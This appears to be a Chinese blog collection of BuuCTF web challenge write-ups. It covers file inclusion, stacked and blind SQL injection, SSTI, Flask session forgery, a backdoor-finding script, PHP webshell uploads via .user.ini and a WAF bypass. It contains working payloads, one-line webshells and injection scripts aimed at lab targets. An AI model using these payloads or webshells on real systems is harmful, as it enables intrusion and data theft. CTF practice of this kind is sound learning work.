BuuCTF部分WEB

BuuCTF部分WEB

[Hctf2018]WarmUp

知识点:<CVE-2018-12613>phpMyAdmin后台文件包含分析

image-20191204110144748

根据提示一路访问source.php

得到一串源码:

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

有个参数file,还有另一个文件hint.php

查看hint:

flag not here, and flag in ffffllllaaaagggg

现在就要去读取这个ffffllllaaaagggg

这里对参数的file有个白名单校验,只要通过了白名单校验进行检测的一共有三段,只要通过了这三段任意一段最后就有个include的文件包含

include $_REQUEST['file'];
//第一段直接检测file文件
 if (in_array($page, $whitelist)) {
                return true;
            }
//第二段将内容加上问好又截取到问好,实际上没变。
 $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
 if (in_array($_page, $whitelist)) {
                return true;
            }
//第三段将内容urldecode了一波
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
if (in_array($_page, $whitelist)) {
                return true;
            }

前两段检测让payload为假,利用第三段检测来读。

构造payload: source.php%253F../../../../../../../ffffllllaaaagggg

? 经过两次url编码以后就是%253F php本身会进行一次url解码为%3F

在前两段白名单检测的时候,这个payload是 source.php%3F../../../../../../../ffffllllaaaagggg

在第三段的时候payload又被url解码了一次就变成source.php?../../../../../../../ffffllllaaaagggg?

这样就能通过检测,然后include函数就会把source.php%253F../../../../../../../ffffllllaaaagggg识别为目录

这本身是phpmyadmin的一个cve,使用于4.80到4.81的文件包含漏洞

[强网杯 2019]随便注

知识点:堆叠注入 正则绕过 alter 或prepare语句的使用

image-20191205171011791

从开始一步一步来

1'

image-20191205171213691

确定是单引号包裹的

1' or '1'='1'#

image-20191205171330985

把所有数据都返回了

常规操作 order by

1' order by 3#

image-20191205171754229

1' order by 2#

image-20191205171824681

说明这个数据表只有两列

1' union select 1,2 #

image-20191205171953706

被正则掉了

很多关键字都被过滤了

这时候联合注入指定不行了

此处可以尝试堆叠注入

1';show databases#

image-20191205172231935

不出意外,flag应该在ctftraining数据库里

接下来 看看ctfttraining 里面有什么表

1';use ctftraining;show tables#

不是。。。

突然想到,妈的做题的时候用到数据库没变,没必要再去改数据库啊。

1‘;show tables;#

image-20191205172907432

有这样两个表

看看这两个表里有哪一些字段

1';show columns from `1919810931114514`;#

image-20191205173252223

1';show columns from `words`;#

image-20191205173320560

1919810931114514表存放着flag

而words表从字段数上来看是现在用的数据表

从这里开始就有了两种思路

1.利用prepare 语句绕过正则,很强大!

prepare语句的作用是定义一个语句,赋予其一个名字,以便在此命令中重复使用

可以如此设计payload

1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#

image-20191205174131485

但是发现set和prepare也被过滤了,但是这并不是正则绕过,尝试用大小写绕过

1';sEt @a=concat("sel","ect flag from `1919810931114514`");prePare hello from @a;execute hello;#

1';sEt @a=concat("sel","ect flag from 1919810931114514");prePare hello from @a;execute hello;#

image-20191205174256007

得到flag{7d9d0f68-a668-4f5e-a3a9-1d5f3cab3804}

2.修改添加数据表及字段,让1919810931114514数据表变成words数据表,并且在结构上与之相同,如此则能直接查询到flag,不过这种方法比较麻烦。

构造payload

1';alter table words rename to aa;alter table `1919810931114514` add id INT(10) NOT NULL DEFAULT '1' AFTER flag;alter table `1919810931114514` rename to words;#

easy_tornado

知识点:模板注入

一上来给了三个hint

image-20191206211616975

/flag

flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

这个题用到是 tornado框架,这是一个python的web框架

任意访问一个文件可以观察到

/file?filename=/flag.txt&filehash=900d980d49c759e765936d07d219b133

把filename改为/fllllllllllllag 试一下

/file?filename=/fllllllllllllag&filehash=900d980d49c759e765936d07d219b133

url变成了/error?msg=Error

image-20191206214052943

这个页面内容应该是可控的

image-20191206214317234

但没啥卵用

这道题的解题思路是模板注入,之前没有接触过

tornado是python写的web框架

web框架在前端渲染的时候会使用python 中%S 这样的模板。

这道题在处理msg参数的源码很有可能是这样:

if requests.args.get('msg'):
    msg=requests.args.get('msg')
    template = '<h2>%s!</h2>' % msg

    return render_template_string(template, person=person)

根据网上大佬的提示,

构造msg={{handler.settings}} 得到cookie_secret

image-20191207224639456

daa8e617-e465-4909-bfdb-2344c54e0788

根据之前的hint 3bf9f6cf685a6dd8defadabfb41a03a1

求?filename=/fllllllllllllag&filehash=b84440ae9c2694f10be8d54c1aefb6d6

这个原理涉及到ssti模板注入

详情可以看这里

https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

[SUCTF 2019]EasySQL

非预期解 日后补充

payload *,1

[HCTF 2018] admin

知识点:flask客户端session伪造

当时比赛的时候做过一次,跟着wp拿了flag

但是根本不理解,现在遇到了。这次彻底搞懂了怎么做,但是对于一些代码层级的原理还是一知半解。

​ php的session是储存在服务器端的,通过客户端的cookie值PHPSESSID来进行唯一识别。而flask没有这样的机制,直接将被加密的session储存在客户端,这样容易造成源码泄露的漏洞。

​ 然后来看这道题

image-20191210072845956

先进行信息收集

<!-- you are not admin -->
        <!-- https://github.com/woadsl1234/hctf_flask/ -->

有两个注释,第一个提示应该是让我们想办法变成admin

第二个给了题目的源码

这道题的主要的做法就是伪造session中的用户信息,冒充admin用户进行登录

原理看了离别歌大佬的博客

回到刚才,既然flask将‘session储存在客户端,如何保证不被篡改呢?

我们看看flask是如何处理的

class SecureCookieSessionInterface(SessionInterface):
    """The default session interface that stores sessions in signed cookies
    through the :mod:`itsdangerous` module.
    """
    #: the salt that should be applied on top of the secret key for the
    #: signing of cookie based sessions.
    salt = 'cookie-session'
    #: the hash function to use for the signature. The default is sha1
    digest_method = staticmethod(hashlib.sha1)
    #: the name of the itsdangerous supported key derivation. The default
    #: is hmac.
    key_derivation = 'hmac'
    #: A python serializer for the payload. The default is a compact
    #: JSON derived serializer with support for some extra Python types
    #: such as datetime objects or tuples.
    serializer = session_json_serializer
    session_class = SecureCookieSession

    def get_signing_serializer(self, app):
        if not app.secret_key:
            return None
        signer_kwargs = dict(
            key_derivation=self.key_derivation,
            digest_method=self.digest_method
        )
        return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
                                      serializer=self.serializer,
                                      signer_kwargs=signer_kwargs)

    def open_session(self, app, request):
        s = self.get_signing_serializer(app)
        if s is None:
            return None
        val = request.cookies.get(app.session_cookie_name)
        if not val:
            return self.session_class()
        max_age = total_seconds(app.permanent_session_lifetime)
        try:
            data = s.loads(val, max_age=max_age)
            return self.session_class(data)
        except BadSignature:
            return self.session_class()

    def save_session(self, app, session, response):
        domain = self.get_cookie_domain(app)
        path = self.get_cookie_path(app)
        # Delete case. If there is no session we bail early.
        # If the session was modified to be empty we remove the
        # whole cookie.
        if not session:
            if session.modified:
                response.delete_cookie(app.session_cookie_name,
                                       domain=domain, path=path)
            return
        # Modification case. There are upsides and downsides to
        # emitting a set-cookie header each request. The behavior
        # is controlled by the :meth:`should_set_cookie` method
        # which performs a quick check to figure out if the cookie
        # should be set or not. This is controlled by the
        # SESSION_REFRESH_EACH_REQUEST config flag as well as
        # the permanent flag on the session itself.
        if not self.should_set_cookie(app, session):
            return
        httponly = self.get_cookie_httponly(app)
        secure = self.get_cookie_secure(app)
        expires = self.get_expiration_time(app, session)
        val = self.get_signing_serializer(app).dumps(dict(session))
        response.set_cookie(app.session_cookie_name, val,
                            expires=expires, httponly=httponly,
                            domain=domain, path=path, secure=secure)

主要看最后两行代码,get_signing_serializer方法新建了URLSafeTimedSerializer类 ,用它的dumps方法将类型为字典的session对象序列化成字符串,然后用response.set_cookie将最后的内容保存在cookie中。

那么我们可以看一下URLSafeTimedSerializer是做什么的:

class Signer(object):
    # ...
    def sign(self, value):
        """Signs the given string."""
        return value + want_bytes(self.sep) + self.get_signature(value)

    def get_signature(self, value):
        """Returns the signature for the given value"""
        value = want_bytes(value)
        key = self.derive_key()
        sig = self.algorithm.get_signature(key, value)
        return base64_encode(sig)


class Serializer(object):
    default_serializer = json
    default_signer = Signer
    # ....
    def dumps(self, obj, salt=None):
        """Returns a signed string serialized with the internal serializer.
        The return value can be either a byte or unicode string depending
        on the format of the internal serializer.
        """
        payload = want_bytes(self.dump_payload(obj))
        rv = self.make_signer(salt).sign(payload)
        if self.is_text_serializer:
            rv = rv.decode('utf-8')
        return rv

    def dump_payload(self, obj):
        """Dumps the encoded object. The return value is always a
        bytestring. If the internal serializer is text based the value
        will automatically be encoded to utf-8.
        """
        return want_bytes(self.serializer.dumps(obj))


class URLSafeSerializerMixin(object):
    """Mixed in with a regular serializer it will attempt to zlib compress
    the string to make it shorter if necessary. It will also base64 encode
    the string so that it can safely be placed in a URL.
    """
    def load_payload(self, payload):
        decompress = False
        if payload.startswith(b'.'):
            payload = payload[1:]
            decompress = True
        try:
            json = base64_decode(payload)
        except Exception as e:
            raise BadPayload('Could not base64 decode the payload because of '
                'an exception', original_error=e)
        if decompress:
            try:
                json = zlib.decompress(json)
            except Exception as e:
                raise BadPayload('Could not zlib decompress the payload before '
                    'decoding the payload', original_error=e)
        return super(URLSafeSerializerMixin, self).load_payload(json)

    def dump_payload(self, obj):
        json = super(URLSafeSerializerMixin, self).dump_payload(obj)
        is_compressed = False
        compressed = zlib.compress(json)
        if len(compressed) < (len(json) - 1):
            json = compressed
            is_compressed = True
        base64d = base64_encode(json)
        if is_compressed:
            base64d = b'.' + base64d
        return base64d


class URLSafeTimedSerializer(URLSafeSerializerMixin, TimedSerializer):
    """Works like :class:`TimedSerializer` but dumps and loads into a URL
    safe string consisting of the upper and lowercase character of the
    alphabet as well as ``'_'``, ``'-'`` and ``'.'``.
    """
    default_serializer = compact_json

主要关注dump_payloaddumps,这是序列化session的主要过程。

可见,序列化的操作分如下几步:

  1. json.dumps 将对象转换成json字符串,作为数据
  2. 如果数据压缩后长度更短,则用zlib库进行压缩
  3. 将数据用base64编码
  4. 通过hmac算法计 算数据的签名,将签名附在数据后,用“.”分割

第4步就解决了用户篡改session的问题,因为在不知道secret_key的情况下,是无法伪造签名的。

最后,我们在cookie中就能看到设置好的session了:

img

注意到,在第4步中,flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

我们回过头来看这道题

我们先对session进行抓取

注册好一个账户以后在登陆以后的页面抓取这个session

session:".eJw9UMGOgkAM_ZVNzxxk0IuJBxPAYNISdwcnnYtxXRQGxk1AA4zx33fiJp7avte-1_YBh3NX9hUsb929DOBQ_8DyAR_fsAS0hSNVROhwZLGt2BWCBE9ksokd1ewwymVbo9tFWu4b3zuh2Q1okhnFyQxdMtemGNmcBNu09fNhHmNIKpuTSRYoee7rKFcY0YZnqHjE2HtIHFHuLcnLQHFbadMIlOh1fTRkcpV5vPF7XQZteMEqWcEzgFPfnQ-336a8vk8gb6vj9UBWG20-K5KF0DattPS5yBxu0lqrbctyHVK8W5DkkYfVS662x0v5VvqyN63X_8z1aD0BIQRw78vu9TMIQ3j-AZ4ta0U.Xe78uQ.73Ze5OsPLqwcmANwGCZ_v4NRuuM"

在GitHub上有一个截取了一部分flask的小工具 专门用于加解密flask session

image-20191210100500435

解密:

image-20191210101718743

b'{"_fresh":true,"_id":{" b":"MmUzNWU3MzMxY2JhYzU2N2YyNjIyYzNiYzM3OTliMzQ3ZTVkNWUyMjQwMjE0NDE0MzE4ZjUxYjc2YmFlYzU1ODM1NWI4NjE5MTY4ODM3OWM3NGY0MWYxMDU2NTMxMTVmNTgwNDlhZjk2MTMwMjk2MjNjOWIwNDk3MzgwZjY5YWE="},"csrf_token":{" b":"NmFlZDAwNmZjZjRhNTU2ZmFhZTRhN2IzMGFiZWJlYTA1NDQ5NTYxYw=="},"image":{" b":"SmtZZA=="},"name":"1","user_id":"11"}'

可以看到session的内容,把name的值修改为admin即可

但问题在于进行签名的密钥我们不掌握

但是题目给出了源码

可以在源码里找

最终在config.py里发现了端倪

image-20191210102122306

ckj123或许就是密钥

进行加密试试

但是总是无法加密,看过了好多wp之后才知道是这个解密脚本不大行,又找了一个。

重新解密一下:

{'_fresh': True, '_id': b'2e35e7331cbac567f2622c3bc3799b347e5d5e2240214414318f51b76baec558355b86191688379c74f41f105653115f58049af9613029623c9b0497380f69aa', 'csrf_token': b'6aed006fcf4a556faae4a7b30abebea05449561c', 'image': b'JkYd', 'name': '1', 'user_id': '10'}

image-20191210102747547

image-20191210125206073

.eJw9UE2PgkAM_Subnj3AoBcSDyagwaQl7g5OOhfjBwoDwyaoAcf433fiJp7avte-1_YJu3NfXiuIb_29nMCuPkH8hK8DxIC2cKSKCB2OLNYVu0KQ4AeZ7MGOanYY5bKt0W0iLbeN732g2Qxo0oCSNECXTrUpRjZHwXbZ-vkwTzAklU3JpDOUPPV1lCuMaMUBKh4x8R4SR5RbS_IyUNJW2jQCJXpdHw2ZXGUeb_xel0EbnrFK5_CawPHan3e336bsPieQt9XJYiCrjTbfFclCaLustPS5yByulrVW65blIqRkMyPJIw_zt1xt95fyo_Rjb1ov_plubz0B-5OtO5jA_Vr2779BGMDrD1xTbRw.Xe8ltw.y_kGgOlvJvPSdCVF5Rgn2QmOfW8

我们在登陆以后的界面进行抓包改session

image-20191210124758796

image-20191210125234531

image-20191210125811794

要注意更改session中的username时,id所对应的一定要有数据。

不是瞎编的。

[强网杯2019]聪明的黑客

知识点 脚本编写能力

image-20191211141118086

下载源码

image-20191211141145441

有三千多个文件,打开这些php

image-20191211141240331

woc

这都是什么神仙代码

image-20191211143103006

研究了一会,原来里面全是后门

image-20191211143144795

image-20191211143217384

但是经过实验发现这些后门都不可以用

似乎明白了这个题要考察什么

三千多个php几乎都有后门,但并不是都能用的,要写脚本试出来。

这其中有几个坑,一个是很容易429再一个是本地搭建的时候php版本不能太低。

自己写了一个,但是太菜了。

在网上看到一个大佬写的很强,思路也很巧。

利用了多线程

而且是获取了所有get和post的参数,去当作后门密码去尝试,这样不容易漏。

但这个脚本最好也加上sleep

否则容易429

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"C:\Users\GPD\Desktop\src1"
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()                                                
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

image-20191211150324423

这还是个assert后门,然后不是简单的一句话,传进去的cmd可以直接是system命令,不需要包裹上system()。

image-20191211150843580

[SUCTF 2019]CheckIn

知识点:.user.ini文件上传

​ 这道题比赛的时候我做过一次,但上次是蜻蜓点水,这一次仔细研究一下。

image-20191212213814848

首先直接上传php试试

image-20191212214023128

里面写一个小马:

<?php eval($_GET['a']); ?>

image-20191212214550847

意料之中的illegal这次试试别的后缀名

php5 phtml这样都不行

那改成jpg试一下

image-20191212214845021

检测了<?

可以换一种小马

<script language=php>eval($_GET['a']);</script>

没有<?

image-20191212224251531

利用了文件分析函数exif_imagetype()函数

这个函数有很多的绕过方法

下列是其中的一种

在小马的文件头加入GIF89a来bypass

image-20191212224736973

image-20191212224809547

成功上传上去

可以看到目录/uploads/33c6f8457bd77fce0b109b4554e1a95c 下有传上去的a.jpg和index.php,这个index.php下面自有妙用。

现在我们成功传上去了一个马。但如果不进行包含,因为后缀名并不是php,也没有用,当没有可以利用的包含点的时候,我们可以考虑.htacess分布式配置文件

在windows不允许命名这样的文件,但可以在上传的时候抓包改文件名。

这样编辑

GIF89a
auto_prepend_file = a.jpg

这样写的含义是向所有php文件开头包含a.jpg的内容,相当于写入require('a.jpg')。上面说了在目录中有一个index.php。这时候就起作用了

上传试试

image-20191212230301536

.htacess文件竟然被禁了

这就到了考点

.user.ini分布式配置文件

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

它的语法和.htacess相同

将刚才的内容同样保存的一个.user.ini文件中

再上传试试

image-20191212231016177

上传成功

image-20191212231723512

能用了

一般这种题flag在根目录下

image-20191213073018968

[RoarCTF 2019]Easy Calc

这道题有两种做法 ,一个是利用php字符解析特性,一个可以利用http走私

image-20191215140136164

是一个计算器功能

打开源码image-20191215140220831

说设置了waf

访问calc.php

image-20191215140631872

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

对num参数进行了黑名单过滤

知识点1:PHP字符解析漏洞

PHP会将URL或body中的查询字符串关联到$_GET$_POST。例如:/?foo=bar代表Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。

PHP在接受参数名时,需要将怪异的字符串转换为一个有效的变量名,因此当进行解析时,它会做两件事:

  • 删除空白符
  • 将某些字符转换为下划线(包括空格)

例如:

User inputDecoded PHPvariable name
%20foo_bar%00foo_barfoo_bar
foo%20bar%00foo barfoo_bar
foo%5bbarfoo[barfoo_bar

这道题的waf中是设置了num参数必须为数字的过滤

我们可以通过这个php字符解析漏洞,来bypass这个waf

构造payload:

?+num=1;var_dump(scandir(chr(47))) //首先扫描目录,因为/被过滤了,所以用chr()来绕过

image-20191215142322776

可以看到flag在f1agg里

?+num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

image-20191215142621816

知识点2: http走私 日后补充

日后补充

[CISCN2019 华北赛区 Day2 Web1]Hack World

知识点 sql注入 绕过 布尔盲注

捣鼓了一下午

查询1

image-20191216163401190

查询2

image-20191216163428765

测试1‘

image-20191216163501086

测试1union

image-20191216165710101

过滤了一些字符

经过测试,过滤了空格 union * 等一些关键字

其中的难点就是对空格的过滤

用括号来绕过

看了一大顿wp,折腾了一下午

还是可以进行布尔盲注的

脚本如下

import requests
import time
url = 'http://ea626e9b-3e32-499c-a3e4-2f89c2493a63.node3.buuoj.cn/index.php'
result = ''
for i in range(1,45):
    high=127
    low=32
    mid=(low+high) // 2
    while high > low:
        time.sleep(0.1)
        payload="if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,0)" % (i,mid)
        data={'id':payload}
        res=requests.post(url,data=data)
        if 'Hello' in res.text:
            low=mid+1
        else:
            high=mid
        mid=(high+low)//2
    result+=chr(mid)
    print(result)

'''
flag{5aeaf809-9ba2-438d-bef7-79f63fc4b3ef} 
'''

image-20191216170219794

一个小tip substr()第一个参数最好用字符串包裹起来

[De1CTF 2019]SSRF Me

代码逻辑 还有思路是md5扩展攻击

这道题折腾了两天,主要是在阅读代码上我比较有问题的

上来给了源码

image-20191219230349829

还给了个hint

flag is in ./flag.txt

格式化以后:

#! /usr/bin/env python 
#encoding=utf-8 
from flask import Flask 
from flask import request  
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json reload(sys) 
sys.setdefaultencoding('latin1') 
app = Flask(__name__) 
secert_key = os.urandom(16) 
class Task: 
    def __init__(self, action, param, sign, ip): 
        self.action = action 
        self.param = param 
        self.sign = sign 
        self.sandbox = md5(ip) 
        if(not os.path.exists(self.sandbox)): 
        #SandBox For Remote_Addr 
        os.mkdir(self.sandbox) 
    def Exec(self): 
        result = {} 
        result['code'] = 500 
        if (self.checkSign()):     
            if "scan" in self.action: 
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w') 
                resp = scan(self.param) 
            if (resp == "Connection Timeout"): 
                result['data'] = resp 
            else: 
                print resp 
                tmpfile.write(resp) 
                tmpfile.close() 
                result['code'] = 200 
            if "read" in self.action: 
                f = open("./%s/result.txt" % self.sandbox, 'r') 
                result['code'] = 200 
                result['data'] = f.read() 
                if result['code'] == 500: 
                    result['data'] = "Action Error" 
                else: result['code'] = 500 
                    result['msg'] = "Sign Error" 
                return result 
    def checkSign(self): 
        if (getSign(self.action, self.param) == self.sign):             
            return True 
        else: return False 
#generate Sign For Action Scan. 
@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan" 
    return getSign(action, param) 
@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign")) 
        ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 
@app.route('/') 
def index(): 
    return open("code.txt","r").read() 
def scan(param): 
    socket.setdefaulttimeout(1) 
    try: 
        return urllib.urlopen(param).read()[:50] 
    except: 
        return "Connection Timeout" 
def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest() 
def md5(content): 
    return hashlib.md5(content).hexdigest() 
def waf(param): 
    check=param.strip().lower() 
    if check.startswith("gopher") or check.startswith("file"): 
        return True 
    else: 
        return False 
if __name__ == '__main__': 
    app.debug = False 
    app.run(host='0.0.0.0',port=80) 

先看路由

#generate Sign For Action Scan. 
@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan" 
    return getSign(action, param) 
@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign")) 
        ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 
@app.route('/') 
def index(): 
    return open("code.txt","r").read() 

/ 返回源码

/geneSign 返回签名sign

/De1ta 应该是可以利用的位置

hint里提示了./flag.txt

所以先去源码里找有没有读文件的操作

def Exec(self): 
        result = {} 
        result['code'] = 500 
        if (self.checkSign()):     
            if "scan" in self.action: 
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w') 
                resp = scan(self.param) 
            if (resp == "Connection Timeout"): 
                result['data'] = resp 
            else: 
                print resp 
                tmpfile.write(resp) 
                tmpfile.close() 
                result['code'] = 200 
            if "read" in self.action: 
                f = open("./%s/result.txt" % self.sandbox, 'r') 
                result['code'] = 200 
                result['data'] = f.read() 
                if result['code'] == 500: 
                    result['data'] = "Action Error" 
                else: result['code'] = 500 
                    result['msg'] = "Sign Error" 
                return result 
 def scan(param): 
    socket.setdefaulttimeout(1) 
    try: 
        return urllib.urlopen(param).read()[:50] 
    except: 
        return "Connection Timeout" 

方法Exec里有读文件的操作,读文件的关键函数是scan 可以看到scan函数里读了一个文件的前五十位。这个Exec函数的功能就是首先满足self.checkSign()为真后:当sign存在于action参数里时,读param参数指定的文件并写到一个result.txt中,这将是这道题的漏洞逻辑的基础。我们不需要关注这个txt,只需要看到在之后Exec函数又判断read是否存在于action参数将result.txt的内容读出来并返回即可。

反推到哪个地方调用了Exec函数

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign")) 
        ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 

这里将Exec函数的调用结果通过json格式给dump出来

而且还有一个waf函数,过滤了gopher和file

def waf(param): 
    check=param.strip().lower() 
    if check.startswith("gopher") or check.startswith("file"): 
        return True 

于是现在条件满足链可以大体清楚了

  1. checkSign()为真 ---> getSign(self.action, self.param) == self.sign

2.self.action中要包含read和scan

  1. self.param中包含flag.txt

首先分析一下本题里的sign生成的方式:

def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest() 

secrert_key是我们未知的,但是实际上并不妨碍我们做题

我们来看如何让checkSign()为真:

checkSign()为真的条件是

getSign(self.action, self.param) == self.sign

==左侧的self.action和self.param是在challenge()里创建Task类时传入的,是我们可以传入的。

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action")) 
    param = urllib.unquote(request.args.get("param", "")) 
    sign = urllib.unquote(request.cookies.get("sign")) 
        ip = request.remote_addr 
    if(waf(param)): 
        return "No Hacker!!!!" 
    task = Task(action, param, sign, ip) 
    return json.dumps(task.Exec()) 

==右侧的sign是在 /geneSign下得到的sign

看看这个sign是怎么生成的

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) 
    action = "scan" 
    return getSign(action, param) 

这里传入的sign定义了为scan,但param是可控的

而我们刚才讲过self.scan中要包含read和scan

这怎么让==两侧相等呢?

其实很简单,仔细观察sign的生成函数:

def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest() 

我们可以在/geneSign中传入param=flag.txtread

在/De1ta中传入param=flag.txt action = readscan

这样三个条件都将被满足

那具体操作一下:

image-20191220105513947

得到sign 056a01757a5e716357f2d7bdb90183cb

因为action和sign是cookie里传的,所以抓包改一下。

image-20191220105938262

得到flag{b577d896-3dbc-4600-a5e3-2443bac09dc7}

image-20191220110002375

[网鼎杯 2018]Fakebook

知识点: 反序列化和SSRF本地file协议
非预期解: sql注入

user.php的no参数可以直接注入

利用load_file()

利用脚本:

import requests
url="http://6ad6c7c5-ed03-4136-9ee6-d80c707ce4f5.node3.buuoj.cn/view.php?no=0 union/**/seLect/**/1,substr(load_file('/var/www/html/flag.php'),%d,1),2,3"
for i in range(1,100):
    resp=requests.get(url%i)
    print(resp.text[1044],end='')

image-20191231104057118

[极客大挑战 2019]Upload

特殊后缀名phtml + MIME + 突破getimagesize 用GIF89a + 过滤了<? 用<script language='php'>绕过

image-20201209203438902

[极客大挑战 2019]EasySQL

image-20200214130836537

一个登陆框

以第二个input为注入点,order by得到3列

然后我想尝试union注入

随便写了个 admin' union select sleep(5),2,3 #

竟然得到flag???

image-20200214131240254

flag{ecf72bcf-ebae-48f9-9e29-3430c8ce84da}

[极客大挑战 2019]Secret File

知识点:php伪协议

image-20200216152725273

一打开后得到这个界面

image-20200216152847455

在源码里发现./Archive_room.php 访问这个页面

image-20200216152943635

页面中间有个<a>,指向action.php

image-20200216153131281

点击之后迅速跳转到了一个end.php

image-20200216153714984

看起来action.php确实有问题,用bp走一下试一试。

image-20200216154009353

action.php里面提示了secr3t.php

访问这个页面

image-20200216154610573

是文件包含的利用

看起来是让我们包含flag.php

但是包含了flag.php以后并不能找到flag

过滤了几个关键词,但没有过滤filter

可以利用

访问?file=php://filter/convert.base64-encode/resource=flag.php

image-20200216160831440

得到源码base64解码得到flag

[极客大挑战 2019]PHP

知识点:PHP反序列化 __wakeup()魔术方法绕过(CVE-2016-7124)

页面提示有备份文件

image-20200319200037846

访问www.zip

得到了源码

image-20200319200106136

查看index.php的源码

image-20200319200151954

应该是反序列化

关键代码在class.php

